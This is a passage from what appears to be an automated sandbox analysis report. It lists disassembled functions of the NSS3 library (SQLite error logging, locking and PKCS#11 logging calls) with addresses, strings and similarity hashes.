sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68FE83

Part of subcall function 6C68FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C68FEFA
Part of subcall function 6C68FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C68FF3B

Strings

database corruption, xrefs: 6C68FD6E, 6C68FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68FD64, 6C68FE26
%s at line %d of [%.10s], xrefs: 6C68FD73, 6C68FE35

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: c929f5957afb30fca6f0ac252e5ff473e91495b28d355a2835062c4a3dfb9fb9
Instruction ID: 8c1c24453451d4d476003430cf1dec909f119e780500c80e01100d425a0a8f77
Opcode Fuzzy Hash: c929f5957afb30fca6f0ac252e5ff473e91495b28d355a2835062c4a3dfb9fb9
Instruction Fuzzy Hash: 19519270A012159FCB04CF99C994AAEB7F1FF48308F144469EA05AB752E735EC51CBA5

Function 6C7D2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D2FFD
sqlite3_initialize.NSS3 ref: 6C7D3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7D3032
sqlite3_mprintf.NSS3(6C83AAF9,?), ref: 6C7D3073
sqlite3_free.NSS3(?), ref: 6C7D30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7D30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7D30BB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 18983bad3d825ab90670a6422491cc1f4843ea3ed0183e7597af29cb448b5ecb
Instruction ID: 5c18ee5b92bae6451606017c007ad35a4dfeed15756315ea4e1ffab71ee2f6ac
Opcode Fuzzy Hash: 18983bad3d825ab90670a6422491cc1f4843ea3ed0183e7597af29cb448b5ecb
Instruction Fuzzy Hash: 6041E271600606ABDB00CF25DA80A86B7F6FF44368F058A38EC1987B40E771F955CBD1

Function 6C755ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]ul), ref: 6C755F0A
TlsGetValue.KERNEL32 ref: 6C755F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C755F2F
PR_Unlock.NSS3(890008E8), ref: 6C755F55
PR_SetError.NSS3(00000000,00000000), ref: 6C755F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C755F7D

Part of subcall function 6C755220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C755F82,8B4274C0), ref: 6C755248
Part of subcall function 6C755220: EnterCriticalSection.KERNEL32(0F6C820D,?,6C755F82,8B4274C0), ref: 6C75525C
Part of subcall function 6C755220: PR_SetError.NSS3(00000000,00000000), ref: 6C75528E
Part of subcall function 6C755220: PR_Unlock.NSS3(0F6C81F1), ref: 6C755299
Part of subcall function 6C755220: free.MOZGLUE(00000000), ref: 6C7552A9

Strings

q]ul, xrefs: 6C755EDB, 6C755F09

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]ul
API String ID: 3150690610-2163148230
Opcode ID: eb90d68fc71f8b41824658f38db25ec033cba8c4b9bb4f6dce17e0a185c9a8c1
Instruction ID: 8b3ea66b594293e658be3177600925b5f13a5bb4627b8f6f13eb00c1c0109034
Opcode Fuzzy Hash: eb90d68fc71f8b41824658f38db25ec033cba8c4b9bb4f6dce17e0a185c9a8c1
Instruction Fuzzy Hash: 8021F6B1D002059FDB50AF68ED49AEEB7F4EF09318F544039E80AA7741EB32A954CBD1

Function 6C718CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C72124D,00000001), ref: 6C718D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C72124D,00000001), ref: 6C718D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718D73
PR_Unlock.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718D8C

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_Unlock.NSS3(?,?,?,?,?,6C72124D,00000001), ref: 6C718DBA

Strings

KRAM, xrefs: 6C718CF9
KRAM, xrefs: 6C718D3E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: baedbfb9f59fb870d91f60256db5a9de3a29d61986a1b8de68181c2ff33c5ac2
Instruction ID: def6ad55f5b6a3b37e1a3d91c8c216feb3e2775a3e99c10972b2f704448e6601
Opcode Fuzzy Hash: baedbfb9f59fb870d91f60256db5a9de3a29d61986a1b8de68181c2ff33c5ac2
Instruction Fuzzy Hash: AD2191B5A187018FCB40EF78C68655AB7F0FF59318F1A897AD89887B01DB34D842CB91

Function 6C73ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C73ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AD23

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AD39

Strings

C_MessageDecryptFinal, xrefs: 6C73ACE1
hSession = 0x%x, xrefs: 6C73ACFE, 6C73AD0E
(CK_INVALID_HANDLE), xrefs: 6C73AD1C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: b058526410a79af40a8d08daf4cde5a8436a1055c74bcb6f2f9dba70f44ca2c4
Instruction ID: ba91096ebb8710047ad13aa67af530538cb319d778f51fedbfbfba61c3937249
Opcode Fuzzy Hash: b058526410a79af40a8d08daf4cde5a8436a1055c74bcb6f2f9dba70f44ca2c4
Instruction Fuzzy Hash: 5A2108306011249FDB219BA5DE4EB7A33B5AB4235EF442435E40D9BB02DB389848C7D6

Function 6C810ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C810EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C810EFA

Part of subcall function 6C6FAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6FAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C810F2B

Strings

Aborting, xrefs: 6C810EB3
Assertion failure: %s, at %s:%d, xrefs: 6C810ED9, 6C810EE5, 6C810F06, 6C810F0B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 3abeab728d4af231d87d1429128148ee1f17e7292b85645a63158eabcf4082da
Instruction ID: 01696fc1f25c225b3055f9426565fbe6e4d81b1b3a22b709c3c169f51a17e105
Opcode Fuzzy Hash: 3abeab728d4af231d87d1429128148ee1f17e7292b85645a63158eabcf4082da
Instruction Fuzzy Hash: A501ADB5900108ABDF21AF64DC49C9B3F6DEF46268B404424FD0987A02D775E920DAE2

Function 6C7F1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=ol,?,?,6C6F4E1D), ref: 6C7F1C8A
sqlite3_free.NSS3(00000000), ref: 6C7F1CB6

Strings

a generated column, xrefs: 6C7F1C6C
non-deterministic use of %s() in %s, xrefs: 6C7F1C85
w=ol, xrefs: 6C7F1C44
an index, xrefs: 6C7F1C67
a CHECK constraint, xrefs: 6C7F1C76, 6C7F1C81

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=ol
API String ID: 1840970956-164381813
Opcode ID: 9eb7deb08cba97272d51b277239de5fba39c45f640ac4ded50bf9a7e513329c0
Instruction ID: 5c3fe82d884508c857933dbe296ae6098b294b3e78a8c297cc2df026ba5d5c98
Opcode Fuzzy Hash: 9eb7deb08cba97272d51b277239de5fba39c45f640ac4ded50bf9a7e513329c0
Instruction Fuzzy Hash: 750164B1A001009BD710AA68D8129B137E5EF8234CB00087DE9498BB02EB22E85BC395

Function 6C7D4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7D4DE0

Strings

misuse, xrefs: 6C7D4DD5
API call with %s database connection pointer, xrefs: 6C7D4DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D4DCB
invalid, xrefs: 6C7D4DB8
%s at line %d of [%.10s], xrefs: 6C7D4DDA

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 335e5ae5a6ed0ff5de9838da21168db2d39ea575ecd07c14a7ff553b6df72153
Instruction ID: 173aa99e844b218bcc4ddb4056221ac632ba8fc0a300d233653fa67406181ed0
Opcode Fuzzy Hash: 335e5ae5a6ed0ff5de9838da21168db2d39ea575ecd07c14a7ff553b6df72153
Instruction Fuzzy Hash: 0AF0F022A145782ADA105A54CF13F8233554F22318F072DB0EE087BB92D215A850A3C4

Function 6C7D4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7D4E4D

Strings

misuse, xrefs: 6C7D4E42
API call with %s database connection pointer, xrefs: 6C7D4E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7D4E38
invalid, xrefs: 6C7D4E25
%s at line %d of [%.10s], xrefs: 6C7D4E47

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 8a435e6fae31825ae79852763290c68bc253509aba9b0facaecbf31f4aced3e4
Instruction ID: b5f5c2f2d8a70600ab87453edc9b25e05d1410dbc2d1b21d170be9b7c46e4d0e
Opcode Fuzzy Hash: 8a435e6fae31825ae79852763290c68bc253509aba9b0facaecbf31f4aced3e4
Instruction Fuzzy Hash: 2DF0E211E449393BEA2012A5DF11F8337AD4B13329F0BA9F1EE0877F92D205A86062E5

Function 6C709FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C70A086
EnterCriticalSection.KERNEL32(?), ref: 6C70A09B
PR_Unlock.NSS3(?), ref: 6C70A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70A0E9
TlsGetValue.KERNEL32 ref: 6C70A11B
EnterCriticalSection.KERNEL32(?), ref: 6C70A12F
PR_Unlock.NSS3(?), ref: 6C70A148

Part of subcall function 6C721A40: PR_Now.NSS3(?,00000000,6C7028AD,00000000,?,6C71F09A,00000000,6C7028AD,6C7093B0,?,6C7093B0,6C7028AD,00000000,?,00000000), ref: 6C721A65

Part of subcall function 6C721940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C724126,?), ref: 6C721966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70A1A3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 3e585eca17fb9dceb2725a509c1faee5e0a178775393009539ef637304deff13
Instruction ID: 8c8b4c7353877caf4bfa96150553455776b62d614b4543132c81ffb19f7f1e7d
Opcode Fuzzy Hash: 3e585eca17fb9dceb2725a509c1faee5e0a178775393009539ef637304deff13
Instruction Fuzzy Hash: 9751E4F1B002059BEB109F29DE48AAB77F9AF86368F154139DC1997B02FB31D845C791

Function 6C740C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?,?,00000000,?,?), ref: 6C740CB3

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?), ref: 6C740DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?), ref: 6C740DEC

Part of subcall function 6C760F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C702AF5,?,?,?,?,?,6C700A1B,00000000), ref: 6C760F1A
Part of subcall function 6C760F10: malloc.MOZGLUE(00000001), ref: 6C760F30
Part of subcall function 6C760F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C760F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C741444,?,00000001,?,00000000), ref: 6C740E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?,?,6C741444,?,?,00000000), ref: 6C740E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C741444,?,00000001,?,00000000,00000000,?), ref: 6C740E79

Part of subcall function 6C751560: TlsGetValue.KERNEL32(00000000,?,6C720844,?), ref: 6C75157A
Part of subcall function 6C751560: EnterCriticalSection.KERNEL32(?,?,?,6C720844,?), ref: 6C75158F
Part of subcall function 6C751560: PR_Unlock.NSS3(?,?,?,?,6C720844,?), ref: 6C7515B2

Part of subcall function 6C71B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C721397,00000000,?,6C71CF93,5B5F5EC0,00000000,?,6C721397,?), ref: 6C71B1CB
Part of subcall function 6C71B1A0: free.MOZGLUE(5B5F5EC0,?,6C71CF93,5B5F5EC0,00000000,?,6C721397,?), ref: 6C71B1D2

Part of subcall function 6C7189E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7188AE,-00000008), ref: 6C718A04
Part of subcall function 6C7189E0: EnterCriticalSection.KERNEL32(?), ref: 6C718A15
Part of subcall function 6C7189E0: memset.VCRUNTIME140(6C7188AE,00000000,00000132), ref: 6C718A27
Part of subcall function 6C7189E0: PR_Unlock.NSS3(?), ref: 6C718A35

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4ce8865620eceaff0b5ebdbfb91dfbfa58f55960e494db4b2f95abdd7ec1dda0
Instruction ID: afb3b636b3bc1fceb29a5759a8868f894ed0ead2486b5534c0fe9a73a05b807c
Opcode Fuzzy Hash: 4ce8865620eceaff0b5ebdbfb91dfbfa58f55960e494db4b2f95abdd7ec1dda0
Instruction Fuzzy Hash: 5651D7F6D002105FEB00AF64DE89EAB37A8AF5521CF554474EC0597B02FB35ED1986A2

Function 6C6F6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C6F6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C6F6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C6F6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C6F6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C6F6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C6F7010
sqlite3_value_blob.NSS3(?,?), ref: 6C6F701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C6F7052

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: c1d1f2148ba4a27345a3d394b9a28ba7cf731c9d9c00df6c92d1e34a04b26439
Instruction ID: cdac4996a036c3a19ea74bd93bb09e72bb56cf3516e1cd0f73992ec3724dc722
Opcode Fuzzy Hash: c1d1f2148ba4a27345a3d394b9a28ba7cf731c9d9c00df6c92d1e34a04b26439
Instruction Fuzzy Hash: 1A619FB1E152068BEB00CB64C9406EEB7B3AF45318F284165D425ABB51E732DD17CB99

Function 6C768F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C767313), ref: 6C768FBB

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
